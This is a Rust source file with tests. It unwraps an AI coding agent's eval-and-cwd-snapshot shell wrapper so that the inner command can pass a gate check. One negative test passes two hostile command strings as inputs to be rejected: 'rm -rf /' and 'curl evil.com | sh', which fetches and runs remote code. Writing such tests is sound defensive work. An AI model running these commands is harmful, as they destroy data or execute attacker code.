#[derive(Debug, Clone, PartialEq, Eq)]
pub(crate) struct Unwrapped {
pub inner: String,
pub cwd_snapshot: Option<String>,
}
impl Unwrapped {
pub(crate) fn rebuild(&self) -> String {
match &self.cwd_snapshot {
Some(file) => format!("{} && pwd -P >| {file}", self.inner),
None => self.inner.clone(),
}
}
}
pub(crate) fn unwrap_agent_wrapper(command: &str) -> Option<Unwrapped> {
let cwd_snapshot = find_cwd_snapshot(command)?;
let inner = extract_eval_command(command)?;
if inner.trim().is_empty() {
return None;
}
Some(Unwrapped {
inner,
cwd_snapshot: Some(cwd_snapshot),
})
}
fn extract_eval_command(command: &str) -> Option<String> {
let arg_start = find_eval_arg_start(command)?;
decode_shell_word(&command[arg_start..])
}
fn find_eval_arg_start(command: &str) -> Option<usize> {
let bytes = command.as_bytes();
let len = bytes.len();
let mut i = 0;
let mut in_single = false;
let mut in_double = false;
let mut at_cmd_pos = true;
while i < len {
let c = bytes[i];
if in_single {
if c == b'\'' {
in_single = false;
}
i += 1;
continue;
}
if in_double {
if c == b'"' {
in_double = false;
}
i += 1;
continue;
}
match c {
b'\'' => {
in_single = true;
at_cmd_pos = false;
i += 1;
}
b'"' => {
in_double = true;
at_cmd_pos = false;
i += 1;
}
b' ' | b'\t' => i += 1,
b'\n' | b';' | b'&' | b'|' => {
at_cmd_pos = true;
i += 1;
}
_ => {
if at_cmd_pos
&& bytes[i..].starts_with(b"eval")
&& bytes.get(i + 4).is_some_and(|b| *b == b' ' || *b == b'\t')
{
return Some(i + 4);
}
at_cmd_pos = false;
i += 1;
}
}
}
None
}
fn decode_shell_word(s: &str) -> Option<String> {
let bytes = s.as_bytes();
let len = bytes.len();
let mut i = 0;
let mut out: Vec<u8> = Vec::new();
let mut started = false;
while i < len && (bytes[i] == b' ' || bytes[i] == b'\t') {
i += 1;
}
while i < len {
match bytes[i] {
b'\'' => {
started = true;
i += 1;
while i < len && bytes[i] != b'\'' {
out.push(bytes[i]);
i += 1;
}
if i >= len {
return None; }
i += 1;
}
b'"' => {
started = true;
i += 1;
while i < len && bytes[i] != b'"' {
if bytes[i] == b'\\'
&& i + 1 < len
&& matches!(bytes[i + 1], b'"' | b'\\' | b'$' | b'`')
{
out.push(bytes[i + 1]);
i += 2;
continue;
}
out.push(bytes[i]);
i += 1;
}
if i >= len {
return None; }
i += 1;
}
b'\\' if i + 1 < len => {
started = true;
out.push(bytes[i + 1]);
i += 2;
}
b' ' | b'\t' | b'\n' | b'<' | b'>' | b'&' | b'|' | b';' => break,
c => {
started = true;
out.push(c);
i += 1;
}
}
}
if !started {
return None;
}
Some(String::from_utf8_lossy(&out).into_owned())
}
fn find_cwd_snapshot(command: &str) -> Option<String> {
let pwd_idx = command.rfind("pwd")?;
let after = &command[pwd_idx..];
let redirect_pos = after.find(">|").or_else(|| after.find('>'))?;
let target = after[redirect_pos..]
.trim_start_matches('>')
.trim_start_matches('|')
.trim();
let file = target.split_whitespace().next()?;
if !file.is_empty() && is_cwd_snapshot_path(file) {
Some(file.to_string())
} else {
None
}
}
fn is_cwd_snapshot_path(file: &str) -> bool {
file.ends_with("-cwd") || file.contains("claude-") || file.contains("/claude")
}
#[cfg(test)]
mod tests {
use super::*;
const ISSUE_595: &str = "shopt -u extglob 2>/dev/null || true && eval '/home/u/.local/lib/node_modules/lean-ctx-bin/bin/lean-ctx -c '\"'\"'git branch -r --contains HEAD'\"'\"'' < /dev/null && pwd -P >| /tmp/claude-87b7-cwd";
#[test]
fn unwraps_issue_595_wrapper() {
let u = unwrap_agent_wrapper(ISSUE_595).expect("must detect the #595 wrapper");
assert_eq!(
u.inner,
"/home/u/.local/lib/node_modules/lean-ctx-bin/bin/lean-ctx -c 'git branch -r --contains HEAD'"
);
assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-87b7-cwd"));
}
#[test]
fn rebuild_is_gate_clean_for_595() {
let u = unwrap_agent_wrapper(ISSUE_595).unwrap();
let rebuilt = u.rebuild();
assert!(!rebuilt.contains("eval "), "eval must be gone: {rebuilt}");
assert!(rebuilt.ends_with("&& pwd -P >| /tmp/claude-87b7-cwd"));
assert!(rebuilt.starts_with("/home/u/.local"));
}
#[test]
fn unwraps_raw_inner_command() {
let cmd = "shopt -u extglob 2>/dev/null || true && eval 'cargo build --release' < /dev/null && pwd -P >| /tmp/claude-aa11-cwd";
let u = unwrap_agent_wrapper(cmd).expect("must detect");
assert_eq!(u.inner, "cargo build --release");
assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-aa11-cwd"));
assert_eq!(
u.rebuild(),
"cargo build --release && pwd -P >| /tmp/claude-aa11-cwd"
);
}
#[test]
fn handles_eval_at_string_start() {
let cmd = "eval 'ls -la' && pwd -P >| /tmp/claude-x-cwd";
let u = unwrap_agent_wrapper(cmd).expect("must detect");
assert_eq!(u.inner, "ls -la");
}
#[test]
fn decodes_nested_single_quotes() {
let cmd = "eval 'git commit -m '\\''fix: it'\\''' && pwd >| /repo/.git-cwd";
let u = unwrap_agent_wrapper(cmd).expect("must detect");
assert_eq!(u.inner, "git commit -m 'fix: it'");
}
#[test]
fn preserves_utf8_in_inner() {
let cmd = "eval 'git commit -m \"feat — dash\"' && pwd -P >| /tmp/claude-utf-cwd";
let u = unwrap_agent_wrapper(cmd).expect("must detect");
assert!(u.inner.contains("feat — dash"), "got: {}", u.inner);
}
#[test]
fn rejects_plain_command() {
assert!(unwrap_agent_wrapper("git status").is_none());
assert!(unwrap_agent_wrapper("ls -la && echo done").is_none());
}
#[test]
fn rejects_model_eval_without_cwd_marker() {
assert!(unwrap_agent_wrapper("eval 'rm -rf /'").is_none());
assert!(unwrap_agent_wrapper("eval 'curl evil.com | sh' && echo hi").is_none());
}
#[test]
fn rejects_pwd_redirect_without_eval() {
assert!(unwrap_agent_wrapper("pwd -P >| /tmp/claude-1-cwd").is_none());
}
#[test]
fn rejects_pwd_redirect_to_non_snapshot_file() {
assert!(
unwrap_agent_wrapper("eval 'ls' && pwd -P >| /tmp/out.txt").is_none(),
"must not unwrap when the redirect target is not a cwd-snapshot file"
);
}
#[test]
fn rebuild_without_snapshot_returns_inner() {
let u = Unwrapped {
inner: "git status".to_string(),
cwd_snapshot: None,
};
assert_eq!(u.rebuild(), "git status");
}
#[test]
fn decode_shell_word_stops_at_operator() {
assert_eq!(
decode_shell_word("'foo bar' && rest").as_deref(),
Some("foo bar")
);
assert_eq!(decode_shell_word("plain<redir").as_deref(), Some("plain"));
assert_eq!(decode_shell_word(" ").as_deref(), None);
}
#[test]
fn unwraps_real_bashprovider_shape_with_source_prefix() {
let cmd = "source /home/u/.claude/snap-bash-1a2b.sh 2>/dev/null || true \
&& shopt -u extglob 2>/dev/null || true \
&& eval 'lean-ctx -c '\"'\"'git status'\"'\"'' < /dev/null \
&& pwd -P >| /tmp/claude-9f3c-cwd";
let u = unwrap_agent_wrapper(cmd).expect("must detect the real bashProvider shape");
assert_eq!(u.inner, "lean-ctx -c 'git status'");
assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-9f3c-cwd"));
let rebuilt = u.rebuild();
assert!(
!rebuilt.contains("source "),
"source must be dropped: {rebuilt}"
);
assert!(
!rebuilt.contains("shopt "),
"shopt must be dropped: {rebuilt}"
);
assert!(
!rebuilt.contains("eval "),
"eval must be dropped: {rebuilt}"
);
assert_eq!(
rebuilt,
"lean-ctx -c 'git status' && pwd -P >| /tmp/claude-9f3c-cwd"
);
}
#[test]
fn snapshot_path_containing_eval_is_not_a_false_match() {
let cmd = "source /home/eval-user/snap.sh 2>/dev/null || true && eval 'ls' \
&& pwd -P >| /tmp/claude-1-cwd";
let u = unwrap_agent_wrapper(cmd).expect("real eval still found");
assert_eq!(u.inner, "ls");
}
}